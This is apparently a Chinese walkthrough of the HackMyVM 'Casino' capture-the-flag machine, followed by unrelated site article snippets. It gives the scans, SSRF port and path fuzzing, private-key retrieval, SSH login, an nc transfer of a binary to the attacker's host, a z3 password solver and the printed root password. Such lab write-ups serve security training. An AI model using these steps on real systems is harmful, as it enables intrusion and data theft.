hackmyvn-casino

arp-scan -l

nmap -sS -v 192.168.255.205

目录扫描

dirsearch -u http://192.168.255.205/ -e *

gobuster dir -u http://192.168.255.205 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php -b 301,401,403,404

80端口

随便注册一个账号
玩游戏时的url
将钱用完时的url
可以发现钱用完之后系统会将我们重定向到en.wikipedia.org域名上托管的维基页面。此页面似乎包含如何有效使用网站的规则。
wiki页面似乎与web应用程序不在同一服务器上。让我们用我们的IP地址替换该页面,看看web应用程序是否也可以从我们的服务器检索wiki页面。
开启http服务,尝试上传本地文件

FUZZ 端口

seq用于生成一系列的数字序列。
seq 0 65535 > port.txt
wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt
该页面的cookie
wfuzz -b "PHPSESSID=j7eaolu5dg6k49vhubp10eup6v" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:FUZZ -w port.txt --hh 1128
访问6969端口
翻译
wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
wfuzz -b "PHPSESSID=5d1p4mh5def1sd7e6mq2830m9c" -u 192.168.255.205/casino/explainmepls.php?learnabout=127.0.0.1:6969/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt --hh 1128
访问codebreakers
查看源码,得到
在当前目录访问shimmer_rsa,得到私钥

22端口

连接ssh

ssh-keygen -y -f id
将私钥转化为公钥,得到用户名
ssh shimmer@192.168.255.205 -i id
ELF 是 Linux/Unix 系统标准的 二进制可执行文件格式
传输pass文件
nc -lp 1234 > pass2
nc 192.168.255.149 1234 < pass
放进ida中
  1. 程序开始时,提示用户输入密码(通过 printf 函数),然后从标准输入(stdin)中获取用户输入的密码(通过 fgets 函数)。获取的密码存储在字符数组 s 中。
if ( s[strlen(s) - 1] == 10 ):检查字符串 s 的最后一个字符是否为 ASCII 码值为 10 的字符(即换行符 \n)。
  1. 然后检查输入的密码是否正确,调用 checkPasswd 函数进行验证。如果密码不正确,则程序直接返回,不执行后续操作。
  2. 如果第一个密码验证通过,则尝试打开文件 /opt/root.pass(通过 open 函数)。然后获取当前用户的用户 ID(UID)(通过 getuid 函数),并使用 setuid 函数将程序的有效用户 ID(EUID)设置为当前用户的 UID。
  3. 程序接着提示用户输入第二个密码,并将其存储在字符数组 s1 中。
  4. 如果第二个密码是 ultrasecretpassword,则将 argva 设置为 "sh",将 v7 设置为 0,然后调用 execvp 函数以执行 "/bin/sh",从而打开一个 shell。
  5. 如果第二个密码不是 ultrasecretpassword,则程序打印 bye. 并返回。
写脚本
输出满足要求的字符串:
from z3 import *
#创建26个变量,每个变量表示字符串中对应位置的字符
a = [Int('a[%d]' % i) for i in range(26)]
#创建一个 Z3 solver 实例
solver = Solver()
#添加字符串长度等于 26 的约束
solver.add(len(a) == 26)
#约束条件列表
constraints = [
a[0] - a[20] == -10,
a[1] + a[6] == 208,
a[2] - a[4] == 10,
a[3] - a[14] == -2,
a[4] * a[25] == 10100,
a[5] + a[17] == 219,
a[6] - a[10] == -11,
a[7] - a[20] == -10,
a[8] * a[17] == 11845,
a[9] - a[18] == -7,
a[10] - a[24] == 1,
a[11] * a[4] == 9797,
a[12] - a[3] == 3,
a[13] * a[11] == 11252,
a[14] - a[13] == -2,
a[15] == a[23],
a[16] - a[8] == -5,
a[17] * a[7] == 10815,
a[18] - a[14] == -2,
a[19] - a[0] == -8,
a[20] - a[23] == 4,
a[21] + a[7] == 220,
a[22] - a[1] == 15,
a[23] == a[15],
a[24] * a[2] == 12654,
a[25] - a[12] == -15
]
#添加约束条件
for constraint in constraints:
solver.add(constraint)
#检查约束是否满足
if solver.check() == sat:
model = solver.model()
result = ''.join([chr(model[a[i]].as_long()) for i in range(26)])
print("满足条件的字符串为:", result)
else:
print("找不到满足条件的字符串")
两部分密码分别为:
ihopethisisastrongpassword
ultrasecretpassword
cd /proc/self/fd
ls -la
cat <&3
root密码:masteradmin420
参考:
hmv[-_-]casino – starsea-blog-成长见证
CTF Walkthrough for HackMyVM Machine Casino | Christ Elise
https://www.bilibili.co m/video/BV1Qi42197yT/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/76324.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

图表配置表增加分析指标字段

在设计报表图表配置表时&#xff0c;为存储 同比、环比 这类分析指标&#xff0c;建议通过以下方式定义字段结构和命名&#xff1a; 一、字段设计方案 // 配置表示例结构 interface ChartConfig {id: string; // 唯一标识name: string; // 图表…

广州SMT贴片加工厂精密制造工艺解析

内容概要 在电子制造领域&#xff0c;SMT贴片加工技术已成为现代电子产品精密组装的核心环节。广州作为华南地区电子产业的重要枢纽&#xff0c;其SMT贴片加工厂通过融合自动化设备与严格工艺标准&#xff0c;构建起高效可靠的制造体系。 对于电子产品制造商而言&#xff0c;…

RK3568-适配ov5647摄像头

硬件原理图 CAM_GPIO是摄像头电源控制引脚,连接芯片GPIO4_C2 CAM_LEDON是摄像头led灯控制引脚,连接芯片GPIO4_C3编写设备树 / {ext_cam_clk: external-camera-clock {compatible = "fixed-clock";clock-frequency = <25000000>;clock-output-names = "…

关于 @Autowired 和 @Value 使用 private 字段的警告问题分析与解决方案

问题背景 在使用 Spring 框架进行开发时&#xff0c;我们经常会使用 Autowired 和 Value 注解来进行依赖注入和属性值注入。然而&#xff0c;当我们将这些注解应用于 private 字段时&#xff0c;IDE&#xff08;如 IntelliJ IDEA&#xff09;可能会显示警告信息&#xff0c;提…

Flutter 开发环境配置--宇宙级教学!

目录 一、安装环境&#xff08;Windows&#xff09;二、Android 创建Flutter项目三、VSCode 搭建环境四、补充 一、安装环境&#xff08;Windows&#xff09; Flutter SDK 下载 推荐使用中国镜像站点下载 Flutter SDK&#xff0c;速度更快&#xff1a;中国环境 或者从官网下载…

碰一碰发视频网页版本开发的源码搭建指南

引言 在数字化信息快速传播的时代&#xff0c;近场通信&#xff08;NFC&#xff09;技术为信息交互带来了新的便捷方式。通过网页版本实现碰一碰发视频功能&#xff0c;能够让用户在浏览器环境中轻松实现视频分享&#xff0c;拓展了视频传播的途径。本文将详细介绍碰一碰发视频…

OMNIWeb 数据介绍

网址&#xff1a;SPDF - OMNIWeb Service 注&#xff1a;OMNI并非特定缩写&#xff0c;仅表示"多样化"含义。 About the Data All the data to which this interface and its multiple underlying interfaces provide access have in common that they are relevan…

Python学习(二)操作列表

一、列表的遍历 每个缩进的代码行都是循环的一部分&#xff0c;且将针对列表中的每个值都执行一次。因此&#xff0c;可对列表中的每个值执行任意次数的操作。 magicians [alice, david, carolina] for magician in magicians:print(magician)注意&#xff1a; 1、遍历的时…

浅析RAG技术:大语言模型的知识增强之道

浅析RAG技术&#xff1a;大语言模型的知识增强之道 &#x1f3e0; 引言&#xff1a;当生成遇到检索 在人工智能领域&#xff0c;大型语言模型(LLMs)如GPT-4、Llama3等展现出了惊人的文本生成能力&#xff0c;但它们也面临着知识滞后、事实性错误等挑战。Retrieval-Augmented …

Linux Vim 编辑器的使用

Vim 编辑器的使用 一、安装及介绍二、基础操作三、高级功能四、配置与插件 一、安装及介绍 Vim是一款强大且高度可定制的文本编辑器&#xff0c;相当于 Windows 中的记事本。具备命令、插入、底行等多种模式。它可通过简单的键盘命令实现高效的文本编辑、查找替换、分屏操作等…

Windows 图形显示驱动开发-WDDM 2.4功能-基于 IOMMU 的 GPU 隔离(三)

帧缓冲区保留 对于必须在电源转换期间将帧缓冲区的保留部分保存到系统内存的驱动程序&#xff0c;Dxgkrnl 会在适配器初始化时对所需内存进行用量认可。 如果驱动程序报告 IOMMU 隔离支持&#xff0c;则 Dxgkrnl 将在查询物理适配器上限后立即调用 DXGKDDI_QUERYADAPTERINFO&a…

UML之扩展用例

UML用例建模面向业务实现或者系统功能&#xff0c;每一个用例实现一个完整的业务或者功能。而一个完整的用例也可能有一些不是必需的附加功能&#xff0c;或者在该用例已经实现后需要添加一些新功能&#xff0c;此时可以通过UML提供的扩展用例机制描述类似这样的场景。 例如对…

大数据学习(95)-谓词下推

&#x1f34b;&#x1f34b;大数据学习&#x1f34b;&#x1f34b; &#x1f525;系列专栏&#xff1a; &#x1f451;哲学语录: 用力所能及&#xff0c;改变世界。 &#x1f496;如果觉得博主的文章还不错的话&#xff0c;请点赞&#x1f44d;收藏⭐️留言&#x1f4dd;支持一…

行式存储(Row-based Storage)与列式存储(Column-based Storage)详细对比

行式存储&#xff08;Row-based Storage&#xff09;与列式存储&#xff08;Column-based Storage&#xff09;详细对比 1. 数据组织方式 类型行式存储列式存储存储结构按行存储数据&#xff0c;每条记录的所有字段&#xff08;列&#xff09;连续存放&#xff08;如一条订单的…

Seg-Zero:通过认知强化实现的推理链引导分割

文章目录 速览摘要1. 引言2. 相关工作2.1. 大模型中的推理能力2.2. 结合推理的语义分割2.3. 用于分割任务的 MLLMs 3. 方法3.1. 流程建模&#xff08;Pipeline Formulation&#xff09;3.2. Seg-Zero 模型3.3. 奖励函数&#xff08;Reward Functions&#xff09;3.4. 训练&…

win server2022 限制共享文件夹d

点击配额管理中的配额 然后创建配额 导入要配额的文件即可 然后确定即可

Docker容器部署Java项目(详细版)

&#x1f91f;致敬读者 &#x1f7e9;感谢阅读&#x1f7e6;笑口常开&#x1f7ea;生日快乐⬛早点睡觉 &#x1f4d8;博主相关 &#x1f7e7;博主信息&#x1f7e8;博客首页&#x1f7eb;专栏推荐&#x1f7e5;活动信息 文章目录 Docker容器部署Java项目1. 环境及准备2. 项目…

C语言深度解析:从零到系统级开发的完整指南

一、C语言的核心特性与优势 1. 高效性与直接硬件控制 C语言通过编译为机器码的特性&#xff0c;成为系统级开发的首选语言。例如&#xff0c;Linux内核通过C语言直接操作内存和硬件寄存器&#xff0c;实现高效进程调度。 关键点&#xff1a; malloc/free直接管理内存&#…

Pytorch实现之基于GAN+序列后向选择的情绪识别增强方法

简介 简介:在WGAN-GP+CGAN的基础上利用了序列后向选择方法来挑选优质样本补充到训练集当中,丰富训练数据集。 论文题目:基于生成对抗网络的情绪识别数据增强方法 期刊:传感技术学报 摘要:使用深度学习方法构建高准确率的情绪识别模型需要大量的情绪脑电数据。 生成对抗…

软件工程面试题(十九)

1、十六进制的216转换十进制是多少: 216是16进制,转10进制: =2*16^2+1*16^1+6*16^0 =512+16+6 =536 2、Java中的XML解析方式: dom和jdom解析 Java中处理XML文档的标准API有两种,即XML的简单API(SAX,Simple API for XML)和文档对象模型(DOM,…